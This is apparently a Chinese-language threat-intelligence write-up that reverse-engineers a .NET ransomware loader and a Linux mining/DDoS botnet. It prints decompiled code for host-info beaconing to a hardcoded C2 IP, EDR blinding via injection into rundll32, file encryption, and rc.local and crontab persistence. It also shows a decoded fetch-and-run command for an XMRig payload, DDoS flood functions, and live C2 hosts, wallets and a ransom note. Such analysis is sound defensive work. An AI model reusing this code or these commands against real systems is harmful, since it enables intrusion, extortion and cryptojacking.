360传到Alien Vault再传到我手上的三手信息,已经是晚了七天了
凑合着分析吧
Ransomware
https://cert.360.cn/report/detail?id=65fceeb4c09f255b91b17f11
从这篇报告中得到勒索程序下载URLhttp://107.175.127.195/update.hta
,但是已经404了
微步上能找到IP关联的其他样本,时间上差不多将就着看吧
https://s.threatbook.com/report/file/335b96699b836ad1d6eab2f8517233294717add7e57904915786597769f90af6
下载下来是一个VB脚本,Base64解码完之后再反序列化,最后调用类EfsPotato.Mshta
,基本就是.NET了
Base64解码得到的是.NET二进制序列化的结果,本来想着反序列化之后能不能对想办法导出这个类或者相关信息,尝试了下感觉没什么好办法
二进制序列化内容丢Winhex里面慢慢看能看到PE文件的DOS_Header,直接foremost提取文件了
提取出来个dll文件,879af643473cf0d569dd015d4e8de29e
丢010editor里面看了下,在.text
,.rsrc
,.reloc
三个Section之后还有一些其他的信息
但是感觉有点像是foremost分离文件的时候没分离干净,但是不影响dnspy读取这个dll,所以无所谓了
跟进EfsPotato.Mshta
1 2 3 4 5 6 // EfsPotato.Mshta // Token: 0x0600032E RID: 814 RVA: 0x0000EF9E File Offset: 0x0000D19E public Mshta() { new U().Equals(""); }
跟进类U
的重写函数Equals
1 2 3 4 5 6 7 // U // Token: 0x06000009 RID: 9 RVA: 0x00002826 File Offset: 0x00000A26 public override bool Equals(object obj) { this.Auto(); return false; }
到函数Auto
这里差不多就是主函数了
首先会进行提权,所使用的EXP如下所示
成功拿到管理员权限之后会与一个用于记录的服务器进行通信,且后续几乎每一步都会有对应的通信
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // Token: 0x06000322 RID: 802 RVA: 0x0000EB14 File Offset: 0x0000CD14 public static void SendHttp(string ipAddr, int ipPort, string s) { try { IPAddress[] hostAddresses = Dns.GetHostAddresses(Dns.GetHostName()); s += "--"; s = s + Environment.MachineName + "--"; s = s + Environment.UserName + "--"; s = s + Environment.ProcessorCount + "--"; s = s + Environment.Version + "--"; foreach (IPAddress ipaddress in hostAddresses) { s = s + ipaddress.ToString() + ","; } s = Uri.EscapeDataString(s); string s2 = "GET /css/css.css?v=" + s + " HTTP/1.1\r\nHost:css.baidu.com\r\n\r\n"; Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipAddr), ipPort); socket.Connect(remoteEP); socket.Send(Encoding.Default.GetBytes(s2)); Thread.Sleep(1000); socket.Close(); } catch (Exception ex) { Console.WriteLine("error socket {0}", ex.Message); } }
这里虽然host写的是css.baidu.com
,但是目的IP为DLL中硬编码的变量
1 2 3 4 // Token: 0x04000004 RID: 4 public string ip = "107.175.127.195"; // Token: 0x04000005 RID: 5 public int port = 80;
主机与服务均在线
1 2 3 4 5 6 curl -I http://107.175.127.195/css.css HTTP/1.1 404 Not Found Date: Thu, 28 Mar 2024 [DATA EXPUNGED] GMT Server: Apache/2.4.37 (AlmaLinux) Content-Type: text/html; charset=iso-8859-1
且该域名不存在解析记录
1 2 3 4 5 6 nslookup css.baidu.com Server: 114.114.114.114 Address: 114.114.114.114#53 ** server can't find css.baidu.com: NXDOMAIN
后续则是用函数RealBlind1
,和RealBlind3
进行规避检测
虽然说两者的硬编码PE程序不一样,但是目的差不多
1 2 3 4 5 6 7 8 byte[] array = ExecLib.Hex2String(str + str2 + str3); string text = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".bin"; using (FileStream fileStream = new FileStream(text, FileMode.Create)) { fileStream.Write(array, 0, array.Length); } byte[] asm = Convert.FromBase64String(this.peshellcode); AsmLoader.loadAsmBin("C:\\Windows\\System32\\rundll32.exe " + text + " 3 clear", asm, Convert.ToInt32(7000));
.bin
文件和peshellcode
均为硬编码的PE文件,但.bin
在沙箱中测试的时候并不能按代码中那样直接用rundll32.exe执行,会提示"丢失条目 3"
跟进AsmLoader.loadAsmBin
之后大概理解了这一步的目的
目的并不是为了运行这个DLL,而是用rundll32.exe创建一个进程之后再将peshellcode
的内容的注入到这个进程中,从而运行peshellcode
peshellcode
的md5是d8cc5986811b4f9c034313d80660334c
,来自于一个github项目,用于大概是清除内核回调以禁用掉杀软的一些功能
https://github.com/myzxcg/RealBlindingEDR
所以实际上运行的是peshellcode
,后续三个参数可以与RealBlindingEDR中的参数对应上
.bin
文件实际上是wnBio.sys
驱动文件,3
是与这个驱动文件对应的编号
最后则是函数runEncDllPe
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public void runEncDllPe() { try { string text = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".bin"; string text2 = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".exe"; "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".txt"; byte[] data = Convert.FromBase64String(this.encdll); byte[] array = Convert.FromBase64String(this.loaderpe); string text3 = ExecLib.GenRandomString(32); string text4 = ExecLib.GenRandomString(16); byte[] bytes = Encoding.UTF8.GetBytes(text3); byte[] bytes2 = Encoding.UTF8.GetBytes(text4); byte[] array2 = ExecLib.Encrypt(data, bytes, bytes2); using (FileStream fileStream = new FileStream(text, FileMode.Create)) { fileStream.Write(array2, 0, array2.Length); } using (FileStream fileStream2 = new FileStream(text2, FileMode.Create)) { fileStream2.Write(array, 0, array.Length); } ExecLib.ExecuteCmd(string.Concat(new string[] { "start ", text2, " ", text, " ", text3, " ", text4 })); } catch (Exception) { } }
这里的loaderpe
的作用就是把加密后写入的encdll
解密再调用类U
的重写函数Equals
两者的md5分别是6d448cba987a24c3ddbde760d76c5a15
,9c1ceb62612af0c495f515d3afac8150
text3
是key,text4
是IV
encdll
则是用于加密勒索
先Kill掉一些会占用文件的进程,删除卷影备份,生成临时RSA密钥对
然后就该干嘛干嘛了
其他一些硬编码信息如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 // Token: 0x04000002 RID: 2 public static string httpAddr = "107.175.127.195"; // Token: 0x04000003 RID: 3 public static bool debug = false; // Token: 0x04000004 RID: 4 public static bool skipJava = true; // Token: 0x04000005 RID: 5 public static int httpPort = 80; // Token: 0x04000006 RID: 6 private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA=="; // Token: 0x04000007 RID: 7 private static string btcCount = "0.08"; // Token: 0x04000008 RID: 8 private static string btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l"; // Token: 0x04000009 RID: 9 private static string email = "service@helloworldtom.online"; // Token: 0x0400000A RID: 10 private static string msgFileName = "READ_ME5.html"; // Token: 0x0400000B RID: 11 private static readonly string fileExtension = ".locked"; // Token: 0x0400000E RID: 14 private static string readMeMsg = string.Concat(new string[] { "send ", U.btcCount, "btc to my address:", U.btcAddr, ". contact email:", U.email, ",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID" });
截止至2024-03-28,该地址已入账比特币0.279个
Botnet
https://cert.360.cn/report/detail?id=65fceeb4c09f255b91b17f11
在这篇报告里面有一个HFS服务
http://61.160.194.160:35130/
可以下载3个文件
00.sh
9c45570808febe4753e79cc832ee89d8
sss6
c33ffcc92a7065e3e9962448120acec4
sss68
6f7c5541b43f832b8b222bbb9cf9cd9e
其中sss6
是32位elf,sss68
是64位elf
00.sh
的大概活动流程如下
删除日志
Kill掉访问特定矿池的进程
Kill掉监听特定端口的进程
Kill掉特定名字的进程
清空iptables规则并新增特定端口与矿池域名的黑名单
下载并运行sss6
和sss68
sss6
和sss68
的功能基本一致,这里以sss6
为例进行简要分析
Main函数中进行的权限维持方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 v25 = (const char *)GetmyName(); ... v26 = open("/etc/rc.local", 2, v10); if ( v26 == -1 ) { snprintf(v15, 1014, "ehco %s start >>/etc/rc.local", v25); v31 = 0; v31 = popen(v15, &unk_80EBF80); pclose(v31); } else { v29 = read(v26, v14, 0x1FFF); if ( v29 != -1 ) { v14[0x1FFF] = 0; v5 = strlen(v14); v30 = WriteOnline(v14, v25, v5, 0); if ( v30 == -1 ) { v6 = strlen(v14); v30 = WriteOnline(v14, "exit 0", v6, 0); if ( v30 == -1 ) { lseek(v26, 0, 2); snprintf(v15, 1014, "\n %s start \n", v25); } else { lseek(v26, v30 - 1, 0); snprintf(v15, 100, "\r\n %s start \r\n exit 0", v25); } v7 = strlen(v15); write(v26, v15, v7); } } close(v26); }
ehco
属实有点幽默了
WriteOnline
大概是用于在第一个参数中搜索第二个参数
lseek
则是重新计算文件指针的位置
写入/etc/rc.local
以进行持久化,写入的命令如下所示
1 2 3 4 5 6 7 8 9 10 11 char *GetmyName(void) { unsigned int v1; // [esp+1Ch] [ebp-Ch] memset(mybuf, 0, sizeof(mybuf)); v1 = readlink("/proc/self/exe", mybuf, 1024); if ( v1 >= 0x400 ) return 0; mybuf[v1] = 0; return mybuf; }
另一个持久化的方法则是写入crontab
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 v26 = open("/etc/crontab", 2, v13); if ( v26 != -1 ) { v34 = read(v26, v28, v27 - 1); if ( v34 != -1 ) { memset(v16, 0, sizeof(v16)); snprintf(v16, 256, "\n*/1 * * * * %s\n", v25); *((_BYTE *)v28 + v27 - 1) = 0; if ( WriteOnline((const char *)v28, v16, v27 - 1, 0) == -1 ) { lseek(v26, 0, 2); v9 = strlen(v16); write(v26, v16, v9); } } close(v26); }
下面两段用于解除Linux资源限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v26 = open("/etc/sysctl.conf", 2, v11); if ( v26 != -1 ) { v32 = read(v26, v28, v27); if ( v32 != -1 ) { *((_BYTE *)v28 + v27 - 1) = 0; if ( WriteOnline((const char *)v28, "6553560", v27 - 1, 0) == -1 ) { lseek(v26, 0, 2); write(v26, "\nfs.file-max=6553560\n", 21); } } close(v26);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 v26 = open("/etc/security/limits.conf", 2, v12); if ( v26 != -1 ) { v33 = read(v26, v28, v27); if ( v33 != -1 ) { *((_BYTE *)v28 + v27 - 1) = 0; if ( WriteOnline((const char *)v28, "* soft noproc 65535", v27 - 1, 0) == -1 ) { lseek(v26, 0, 2); strcpy( v16, "\n" "* soft noproc 65535 \n" "* hard noproc 65535 \n" "* soft nofile 65535 \n" "* hard nofile 65535\n"); v8 = strlen(v16); write(v26, v16, v8); } } close(v26); }
下面则是用于解密硬编码的内容
1 2 3 4 5 EncryptData((unsigned __int8 *)byte_811B17E, 0x96u, 0x3FFu); EncryptData(&byte_811B218, 0x100u, 0x3FFu); EncryptData(&byte_811B318, 0x100u, 0x3FFu); EncryptData((unsigned __int8 *)byte_811B418, 0x100u, 0x3FFu); EncryptData((unsigned __int8 *)byte_811B518, 0x100u, 0x3FFu);
解密算法如下
1 2 key = (0xff % 0x5f) + 88 plain = chr(((cipher ^ key) + key) % 256)
虽然传入的Key是0x3ff,但是用于接收这个参数的变量的大小是8Bit,所以会丢掉前面的0x300
解密结果如下
1 2 3 4 5 nishabii.xyz -o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc -o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc /tmp/bnVefghi http://hfs.t1linux.com:7845/scdsshfk
函数xmrMining()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 while ( 1 ) { if ( stopxmr && !ProcessIsRun(s) ) { if ( access(byte_811B418, 0) == -1 ) { http_get(byte_811B518, byte_811B418); } else { memset(v1, 0, sizeof(v1)); memset(v1, 0, sizeof(v1)); snprintf(v1, 1024, "chmod 777 %s;%s %s -l /tmp/%s.txt", byte_811B418, byte_811B418, CpuMing, s); system(v1); } } sleep(10); }
下载http://hfs.t1linux.com:7845/scdsshfk
并写入到/tmp/bnVefghi
然后执行以下命令
chmod 777 /tmp/bnVefghi;/tmp/bnVefghi -o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc -l /tmp/bnVefghi.txt
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc
应该就是XMR的地址了
这个挖矿程序简要看了一下
7c631fca21e348ae4c3408ddd400b416
UPX壳
脱壳之后md5是aabc159b0a4fdb1b3f4c21b9bd688210
版本信息是XMRig 6.20.0-C3Pool
函数Killpid()
则是用于Kill掉进程名包含以下字符串的进程
Linux-
xmr
25000
Linux2.6
Linux2.7
LinuxTF
miner
获取网络信息跟CPU信息懒得看了
函数_SendInfo
用于向C2发送状态信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 if ( byte_811B618 != 1 ) { if ( strstr(CpuMing, "+tcp") ) { substring(CpuMing, 47, 32, v4); substring(v4, 47, 32, v4); } else { strcpy(v4, "Acquisition failure"); } } else { strcpy(v4, "No digging"); } if ( ProcessIsRun(needle) == 1 ) snprintf(s, 1024, "CPU(Running)|%.2lf|%d%%|%.2f|%s", netuse, usage, (double)(CPUSL / 1024.0), v4); else snprintf(s, 1024, "CPU(Stop)|%.2lf|%d%%|%.2f|%s", netuse, usage, (double)(CPUSL / 1024.0), v4); v1 = strlen(s); return write(MainSocket, s, v1 + 1);
函数ServerConntectCli
给出C2信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int ServerConnectCli(void) { sockaddr v1; // [esp+18h] [ebp-20h] BYREF int v2; // [esp+28h] [ebp-10h] int v3; // [esp+2Ch] [ebp-Ch] v2 = AnalysisAddress(byte_811B17E); if ( !v2 ) return 0; *(_DWORD *)&v1.sa_data[6] = 0; *(_DWORD *)&v1.sa_data[10] = 0; *(_WORD *)v1.sa_data = ntohs((unsigned __int16)dword_811B214); v1.sa_family = 2; *(_DWORD *)&v1.sa_data[2] = v2; v3 = socket(2); if ( myconnect(v3, &v1, 0x10u, 0) != -1 ) return v3; close(v3); return 0; }
byte_811B17E是nishabii.xyz
dword_811B214是0x1ed7,即7895
1 2 3 4 5 6 7 8 9 nmap -p 7895 nishabii.xyz Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-29 [DATA EXPUNGED] Nmap scan report for nishabii.xyz (218.244.58.70) Host is up (0.022s latency). PORT STATE SERVICE 7895/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
确认C2在线
函数ConnectServer()
写了肉鸡上线时所给出的机器信息以及C2可以执行的功能
IDA反编译的代码看着感觉少了几个参数,凑合着看吧
肉鸡上线
1 2 3 4 DecryptData((unsigned __int8 *)s, 0x198u, 0x400u); v13 = 131588; memcpy(v14, s, sizeof(v14)); if ( send(MainSocket) == -1 )
接收C2命令
后面Switch的各个功能与C2命令对应
DDos攻击
1 2 3 4 case 4: memcpy(&v15[1024], &v12[1], 580); DealwithDDoS(&v15[1024]); break;
具体攻击类别函数如下
SYNFlood
ICMPFlood
UDPFlood
DK_Flood
TCP_Flood
Tcp
WZUdp_Flood
Get_CC
Post_CC
postattack
CCAttack
MNAttack
HEAD
命令下发
1 2 case 7: system(&v12[1]);
其他功能懒得看了
其他信息
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall EXITSIGPIPE(int a1, int a2, int a3, int a4, int a5, int a6) { return printf( (unsigned int)"They say I'm rude. I'm not rude at all, but I still want to say, fuck your mother", a2, a3, a4, a5, a6); }
1 2 3 4 5 6 7 8 9 10 11 12 printf( (unsigned int)"Hi, man. I've seen several organizations report my Trojan recently, Please let me go. I want to buy " "a car. That's all. I don't want to hurt others. I can't help it. My family is very poor. In China, i" "t's hard to buy a suite. I don't have any accommodation. I don't want to do anything illegal. Really" ", really, if you are interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh" "6v5kevp7xzngkl nutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, thank yo", (unsigned int)s, v4, v5, v6, v7, (char)argv);
典型的Chinglish
EOF